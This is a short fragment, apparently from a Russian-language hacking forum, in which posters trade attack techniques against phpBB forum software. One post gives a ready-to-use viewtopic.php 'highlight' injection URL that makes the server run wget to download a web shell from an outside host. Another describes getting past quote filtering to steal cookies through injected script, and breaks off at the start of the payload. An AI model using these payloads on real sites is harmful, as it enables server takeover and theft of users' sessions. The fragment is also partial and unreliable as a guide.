Separate names with a comma.
можно закачать shell этой командой: viewtopic.php?p=1&highlight=%2527.$poster=%60$ls%60.%2527&ls=wget%20http://badsite/shell.php или:...
Я тоже с этим мучился - без кавычек - кукисы не спереть =( я решил это так: Просто выполнялся скрипт не из url'а, а из файла faq[0][0]=<script...
